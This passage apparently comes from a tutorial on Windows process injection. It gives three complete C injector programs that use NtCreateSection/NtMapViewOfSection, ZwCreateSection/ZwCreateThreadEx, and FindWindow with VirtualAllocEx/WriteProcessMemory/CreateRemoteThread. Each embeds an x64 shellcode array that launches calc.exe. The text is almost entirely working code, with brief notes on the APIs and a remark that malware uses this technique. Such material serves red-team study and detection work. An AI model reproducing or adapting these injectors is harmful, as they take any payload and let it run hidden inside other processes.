0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main(int argc, char * argv[])
{
HMODULE hNtdll;
NtCreateSection_t NtCreateSection;
NtMapViewOfSection_t NtMapViewOfSection;
RtlCreateUserThread_t RtlCreateUserThread;
HANDLE hProcess;
HANDLE hThread;
HANDLE hSectionHandle;
DWORD dPid;
PVOID pLocalSectionAddress;
PVOID pRemoteSectionAddress;
pLocalSectionAddress = NULL;
pRemoteSectionAddress = NULL;
hNtdll = GetModuleHandle("ntdll");
NtCreateSection = (NtCreateSection_t) GetProcAddress(hNtdll, "NtCreateSection");
NtMapViewOfSection = (NtMapViewOfSection_t) GetProcAddress(hNtdll, "NtMapViewOfSection");
RtlCreateUserThread = (RtlCreateUserThread_t) GetProcAddress(hNtdll, "RtlCreateUserThread");
if (NtCreateSection == NULL || NtMapViewOfSection == NULL || RtlCreateUserThread == NULL) {
printf("Could not find the required functions.\n");
return -1;
}
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
dPid = atoi(argv[1]);
if (dPid == 0)
{
return -1;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
if (hProcess == NULL)
{
printf("Could not open process.\n");
return -1;
}
/*
* 1. Create a RWX Memory Section inside the local Process.
*/
NtCreateSection(&hSectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (hSectionHandle == NULL)
{
printf("Could not Create Section.\n");
return -1;
}
/*
* 2. Create a RW Memory View inside our local process and obtain its address.
*/
NtMapViewOfSection(hSectionHandle, GetCurrentProcess(), &pLocalSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);
if (pLocalSectionAddress == NULL)
{
printf("Could not Local View.\n");
return -1;
}
else
{
printf("Local section created at: %p\n", pLocalSectionAddress);
getchar();
}
/*
* 3. Create a RX Memory View in the target process and obtain its address.
*/
NtMapViewOfSection(hSectionHandle, hProcess, &pRemoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);
if (pRemoteSectionAddress == NULL)
{
printf("Could not Remote View.\n");
return -1;
}
else
{
printf("Remote section created at: %p\n", pRemoteSectionAddress);
getchar();
}
/*
* 5. Copy the shellcode to the section view mapped within the local process.
*
* Since the same memory section is mapped within the local and remote processes, this will
* make the shellcode available inside our target's Virtual Address space as well.
*/
RtlMoveMemory(pLocalSectionAddress, Shellcode, sizeof(Shellcode));
/*
* 6. Create a new thread inside the target process to execute the copied shellcode.
*/
RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, pRemoteSectionAddress, NULL, &hThread, NULL);
return 0;
}
ZW Create Section
Similar to the previous technique, undocumented Zw
functions can be used to achieve the same results. With a few exceptions, each native system services routine has two slightly different versions that have similar names but different prefixes. For example, calls to NtCreateFile
and ZwCreateFile
perform similar operations, and are even served by the same kernel-mode system routine. For system calls from user mode, both versions of a routine behave identically. For calls from kernel mode, the two versions of a routine differ in how they handle the parameter values that the caller passes to the routine. Refer to MSDN for more information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")
// https://processhacker.sourceforge.io/doc/ntzwapi_8h.html#ab903b3fdc6eac749e8ae9c373a06325d
typedef NTSTATUS (NTAPI * ZwCreateSection_t) (
PHANDLE SectionHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG PageAtributes,
ULONG SectionAttributes,
HANDLE FileHandle
);
typedef NTSTATUS (NTAPI * NtMapViewOfSection_t) (
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID * BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
// https://processhacker.sourceforge.io/doc/ntzwapi_8h.html#ab903b3fdc6eac749e8ae9c373a06325d
typedef NTSTATUS (NTAPI * ZwCreateThreadEx_t) (
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
ULONG_PTR ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
// https://processhacker.sourceforge.io/doc/ntzwapi_8h.html#a9d03a63e7bf3f4c90c200fa181c6c437
typedef NTSTATUS (NTAPI * ZwUnmapViewOfSection_t) (
HANDLE ProcessHandle,
PVOID BaseAddress
);
typedef NTSTATUS (NTAPI * ZwClose_t) (
HANDLE Handle
);
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
const char * APPLICATION = "C:\\Windows\\System32\\Notepad.exe";
int main (int argc, char * argv[])
{
HANDLE hNtdll;
ZwCreateSection_t ZwCreateSection;
NtMapViewOfSection_t NtMapViewOfSection;
ZwUnmapViewOfSection_t ZwUnmapViewOfSection;
ZwClose_t ZwClose;
ZwCreateThreadEx_t ZwCreateThreadEx;
HANDLE hProcess;
HANDLE hThread;
HANDLE hSectionHandle;
SIZE_T Size = 4096;
LARGE_INTEGER SectionSize = { Size };
PVOID pRemoteBuffer = NULL;
PVOID pLocalBuffer = NULL;
DWORD dPid = 0;
dPid = atoi(argv[1]);
if (dPid == 0)
return -1;
hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, dPid);
if (hProcess == NULL)
{
printf("Could not open process.\n");
return -1;
}
hNtdll = GetModuleHandle("ntdll");
/*
* 1. Find the addresses of the needed functions
*/
ZwCreateSection = (ZwCreateSection_t) GetProcAddress(hNtdll, "ZwCreateSection");
NtMapViewOfSection = (NtMapViewOfSection_t) GetProcAddress(hNtdll, "NtMapViewOfSection");
ZwUnmapViewOfSection = (ZwUnmapViewOfSection_t) GetProcAddress(hNtdll, "ZwUnmapViewOfSection");
ZwCreateThreadEx = (ZwCreateThreadEx_t) GetProcAddress(hNtdll, "ZwCreateThreadEx");
ZwClose = (ZwClose_t) GetProcAddress(hNtdll, "ZwClose");
/*
* 1. Create a RWX Memory Section
*/
ZwCreateSection(&hSectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &SectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
/*
* 2. Map the previously created Memory Section as RW inside our local process and obtain its address.
*/
NtMapViewOfSection (hSectionHandle, GetCurrentProcess(), &pLocalBuffer, 0, 0, NULL, &Size, 2, 0, PAGE_READWRITE);
if (pLocalBuffer == NULL)
{
printf("Could not Local View.\n");
return -1;
}
/*
* 3. Map the previously created Memory Section as RX inside the remote process and obtain its address.
*/
NtMapViewOfSection (hSectionHandle, hProcess, &pRemoteBuffer, 0, 0, NULL, &Size, 2, 0, PAGE_EXECUTE_READ);
if (pRemoteBuffer == NULL)
{
printf("Could not Local View.\n");
return -1;
}
/*
* 4. Copy the shellcode to the section view mapped within the local process.
*
* Since the same memory section is mapped within the local and remote processes, this will
* make the shellcode available inside our target's Virtual Address space as well.
*/
RtlMoveMemory(pLocalBuffer, Shellcode, sizeof(Shellcode));
/*
* 5. Unmap the shared view from the current process and close the view handle.
*/
ZwUnmapViewOfSection(GetCurrentProcess(), pLocalBuffer);
ZwClose(hSectionHandle);
/*
* 6. Create a new thread inside the target process to execute the copied shellcode and close the thread handle.
*/
ZwCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, pRemoteBuffer, NULL, 0, 0, 0, 0, 0);
ZwClose(hThread);
return 0;
}
Find Process Window
The FindWindow
Windows API call can be used to obtain a handle to a window whose window name matches a specified string. The GetWindowThreadProcessId
API call can then be used to retrieve the Process ID of the obtained handle. This technique can be used by Malware to find the PID of a specific Window and inject Code inside that process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main (int argc, char * argv[])
{
HANDLE hProcess;
HANDLE hThread;
HANDLE hWindow;
PVOID pShellcode;
DWORD dPid;
/*
* 1. Obtain a Handle to a Window with a specific Window Name
*/
hWindow = FindWindow(NULL, (LPCSTR) "Untitled - Notepad");
if (hWindow == NULL)
return -1;
/*
* 2. Get the Process ID of the application.
*/
GetWindowThreadProcessId(hWindow, &dPid);
/*
* 3. Open the Process and allocate a RWX Memory region within it's Virtual Address space.
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
pShellcode = VirtualAllocEx(hProcess, NULL, sizeof(Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
/*
* 4. Copy the Shellcode inside the newly allocated memory region.
*/
WriteProcessMemory (hProcess, pShellcode, Shellcode, sizeof(Shellcode), NULL);
/*
* 5. Create a Thread inside the remote process and execute the Shellcode.
*/
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pShellcode, NULL, 0, NULL);
CloseHandle (hProcess);
return 0;
}